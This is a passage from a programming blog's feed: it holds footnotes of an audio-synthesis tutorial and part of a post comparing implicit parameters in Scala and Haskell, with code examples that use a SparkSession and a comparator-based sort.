&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;How much more detail do floats have over integers? 32-bit floats range from about -10&lt;sup&gt;38&lt;/sup&gt; to +10&lt;sup&gt;38&lt;/sup&gt; whereas 32-bit integers range from about -10&lt;sup&gt;9&lt;/sup&gt; to +10&lt;sup&gt;9&lt;/sup&gt;. Sadly, the increased range of floats comes with a downside: reduced precision. But that&#39;s alright. Floats are precise up to 7 significant figures, which is fine in a lot of cases! For more info on floating points, see the &lt;a href=&quot;https://en.wikipedia.org/wiki/Single-precision_floating-point_format&quot;&gt;Wikipedia page on 32-bit floats&lt;/a&gt;. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;When storing audio in files or transmitting audio, we usually encode and compress the audio to save space. Out of scope for this post though. :( &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Fox, Arthur. &lt;a href=&quot;https://mynewmicrophone.com/what-causes-speakers-to-pop-and-crackle-and-how-to-fix-it/&quot;&gt;&lt;em&gt;What Causes Speakers To Pop And Crackle, And How To Fix It&lt;/em&gt;&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>tutorial</category>
        
          <category>dsp</category>
        
          <category>audio-synthesis-for-dummies</category>
        
          <category>synths</category>
        
          <category>notes</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Implicit Parameters in Scala and Haskell</title>
        <description>...and also C++ (kinda).</description>
        <link href="https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/"/>
        <updated>2022-10-15T00:00:00Z</updated>
        <id>https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/</id>
        <content xml:lang="en" type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Do not say a little in many words, but a great deal in a few.&lt;/em&gt;&lt;br /&gt;
– Pythagoras&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;what-the-heck-are-implicit-parameters&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/#what-the-heck-are-implicit-parameters&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; What the heck are implicit parameters?&lt;/h2&gt;
&lt;p&gt;In software engineering, the &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Don&#39;t_repeat_yourself&quot;&gt;Don’t Repeat Yourself&lt;/a&gt; principle is one of the foundations of writing modular programs. &lt;strong&gt;Implicit parameters&lt;/strong&gt; (implicits, for short) are one of those language features which hide repetitive code so that developers can focus on the more important aspects of logic. Not all programming languages have implicit parameters; but those that do provide an extra mechanism to deal with repetitive code.&lt;/p&gt;
&lt;p&gt;Both Scala and Haskell have the notion of implicit parameters. In Scala, it’s a built-in feature; whereas in Haskell, it’s a language extension. An even more important distinction is that in Scala, implicit variables bind by &lt;em&gt;type&lt;/em&gt;, whereas in Haskell, they bind by &lt;em&gt;name&lt;/em&gt;. We&#39;ll take a look at these in more detail.&lt;/p&gt;
&lt;h2 id=&quot;examples&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/#examples&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Examples&lt;/h2&gt;
&lt;h3 id=&quot;in-scala&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/#in-scala&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; ...in Scala&lt;/h3&gt;
&lt;p&gt;Let&#39;s take a look at what implicit parameters look like in Scala.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-scala&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-scala&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Example of using implicit.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; func&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;implicit&lt;/span&gt; s&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;
  println&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token id function&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;string: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token expression&quot;&gt;s&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;;  int: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token expression&quot;&gt;x&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Helper function to run a bunch of SQL statements and return the dataframe results.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; runBatch&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sqls&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Seq&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;implicit&lt;/span&gt; spark&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; SparkSession&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Dataframe &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;
  sqls map spark&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sql

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; main &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;implicit&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;val&lt;/span&gt; str&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;abc&quot;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Mark variable with the implicit keyword.&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// implicit val str2: String = &quot;def&quot; // Conflict! Two possible implicits of the same type. Error will occur.&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// Notice str is passed implicitly!&lt;/span&gt;
  func&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// string: abc;  int: 1&lt;/span&gt;
  func&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// string: abc;  int: 42&lt;/span&gt;
  func&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;str&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Same as above.&lt;/span&gt;
  func&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;str&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// Create a SparkSession object and mark it as implicit.&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;implicit&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;val&lt;/span&gt; spark&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; SparkSession &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; SparkSession&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;builder&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;master&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;local&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;getOrCreate
  &lt;span class=&quot;token keyword&quot;&gt;val&lt;/span&gt; dfs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; runBatch&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Seq&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;SELECT 1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;SELECT 2&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// `spark` passed implicitly.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Scala&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;https://scastie.scala-lang.org/59m4Fd8LRFmDHNQmfRt3XQ&quot;&gt;Demo&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;As shown above, implicit params are coded by introducing a new set of parameters (in fact, this is how currying is achieved in Scala). In Scala, implicit variables require the &lt;code&gt;implicit&lt;/code&gt; keyword. This serves as a flag to the compiler saying “this variable can be passed to functions with implicit parameters”. (Well, not exactly, but you get the idea.)&lt;/p&gt;
&lt;p&gt;This is pretty useful for variables that have a single instance in any context and act like a global variable. In the Spark framework, a &lt;code&gt;SparkSession&lt;/code&gt; is used to configure spark options, memory usage, and more. After configuration, we still want to hold onto the returned object in order to call functions such as &lt;code&gt;spark.sql&lt;/code&gt;. Typically, we would only have one &lt;code&gt;SparkSession&lt;/code&gt; in an application, so it makes sense to pass it to helper functions implicitly.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;One gotcha is that Scala searches the calling context for implicit parameters of a &lt;em&gt;matching type&lt;/em&gt;. The variable name does not matter. Scala implicits are actually &lt;a href=&quot;https://stackoverflow.com/questions/5598085/where-does-scala-look-for-implicits/5598107#5598107&quot;&gt;a tad more complicated&lt;/a&gt; (and much more powerful as a result), so my example here doesn’t do it justice.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;in-haskell&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/#in-haskell&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; ...in Haskell&lt;/h3&gt;
&lt;p&gt;Haskell’s implicit parameters are different. Here’s an example:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;{-# LANGUAGE ImplicitParams #-}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Enable the implicit parameters language extension.&lt;/span&gt;

&lt;span class=&quot;token import-statement&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- Declare a generic sort function which takes a comparator.&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Ordering&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Quickly hacked quick sort.&lt;/span&gt;
    &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;filter&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;GT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; 
    &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; 
    &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;filter&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;GT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; 

&lt;span class=&quot;token comment&quot;&gt;-- Declare a sort function to sort a list.&lt;/span&gt;
&lt;span class=&quot;token builtin&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Ordering&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token builtin&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;IO&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;92&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;compare&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;`on`&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;fst&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Haskell idiom for constructing comparators.&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;-- All equivalent: [(1,42),(3,14),(5,8),(10,4),(15,92)]&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;compare&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;`on`&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;fst&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;-- Explicit.&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;                  &lt;span class=&quot;token comment&quot;&gt;-- Explicit.&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;                         &lt;span class=&quot;token comment&quot;&gt;-- Implicit.&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;-- Change comparator. [(15,92),(1,42),(3,14),(5,8),(10,4)]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;compare&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;`on`&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;negate&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;snd&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;                  &lt;span class=&quot;token comment&quot;&gt;-- Explicit.&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;                         &lt;span class=&quot;token comment&quot;&gt;-- Implicit.&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;compare&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;`on`&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;snd&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;sortBy&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp2&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;
